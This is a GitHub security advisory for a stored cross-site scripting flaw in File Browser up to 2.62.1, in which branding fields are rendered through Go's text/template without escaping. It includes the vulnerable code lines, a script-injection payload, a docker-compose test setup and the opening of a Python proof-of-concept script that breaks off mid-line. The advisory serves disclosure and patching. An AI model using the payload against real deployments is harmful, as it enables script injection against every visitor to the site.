GitHub Security Advisory: GHSA-xfqj-3vmx-63wv
Package: github.com/filebrowser/filebrowser/v2 (GO)
Severity: MODERATE (CVSS 6.9)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 2.62.1
Patched in: 2.62.2

Summary: File Browser vulnerable to Stored Cross-site Scripting via text/template branding injection

Details:
### Summary
The SPA index page in File Browser is vulnerable to Stored Cross-site Scripting (XSS) via admin-controlled branding fields. An admin who sets `branding.name` to a malicious payload injects persistent JavaScript that executes for ALL visitors, including unauthenticated users.


<br/>

### Details
`http/static.go` renders the SPA `index.html` using Go's `text/template` (NOT `html/template`) with custom delimiters `[{[` and `]}]`. Branding fields are inserted directly into HTML without any escaping:

```go
// http/static.go, line 16 — imports text/template instead of html/template
"text/template"

// http/static.go, line 33 — branding.Name passed into template data
"Name": d.settings.Branding.Name,

// http/static.go, line 97 — template parsed with custom delimiters, no escaping
index := template.Must(template.New("index").Delims("[{[", "]}]").Parse(string(fileContents)))
```

The frontend template (`frontend/public/index.html`) embeds these fields directly:
```html
<!-- frontend/public/index.html, line 16 -->
[{[ if .Name -]}][{[ .Name ]}][{[ else ]}]File Browser[{[ end ]}]

<!-- frontend/public/index.html, line 42 -->
content="[{[ if .Color -]}][{[ .Color ]}][{[ else ]}]#2979ff[{[ end ]}]"
```

Since `text/template` performs NO HTML escaping (unlike `html/template`), setting `branding.name` to `</title><script>alert(1)</script>` breaks out of the `<title>` tag and injects arbitrary script into every page load.

Additionally, when ReCaptcha is enabled, the `ReCaptchaHost` field is used as:
```html
<script src="[{[.ReCaptchaHost]}]/recaptcha/api.js"></script>
```
This allows loading arbitrary JavaScript from an admin-chosen origin.

No `Content-Security-Policy` header is set on the SPA entry point, so there is no CSP mitigation.


<br/>

### PoC
Below is the PoC python script that could be ran on test environment using docker compose:

```yaml
services:

  filebrowser:
    image: filebrowser/filebrowser:v2.62.1
    user: 0:0
    ports:
      - "80:80"
```

And running this PoC python script:
```python
import argparse
import json
import sys
import requests


BANNER = """
  Stored XSS via Branding Injection PoC
  Affected: filebrowser/filebrowser <=v2.62.1
  Root cause: http/static.go uses text/template (not html/template)
  Branding fields rendered unescaped into SPA index.html
"""

XSS_MARKER = "XSS_BRANDING_POC_12345"
XSS_PAYLOAD = (
    '</title><script>window.' + XSS_MARKER + '=1;'
    'alert("XSS in File Browser branding")</script><title>'
)


def login(base: str, username: str, password: str) -> str:
    r = requests.post(f"{base}/api/login",
                      json={"username": username, "password": password},
                      timeout=10)
    if r.status_code != 200:
        print(f"      Login failed: {r.status_code}")
        sys.exit(1)
    return r.text.strip('"')


def main():
    sys.stdout.write(BANNER)
    sys.stdout.flush()

    ap = argparse.ArgumentParser(
        formatter_class=argparse.RawDescriptionHelpFormat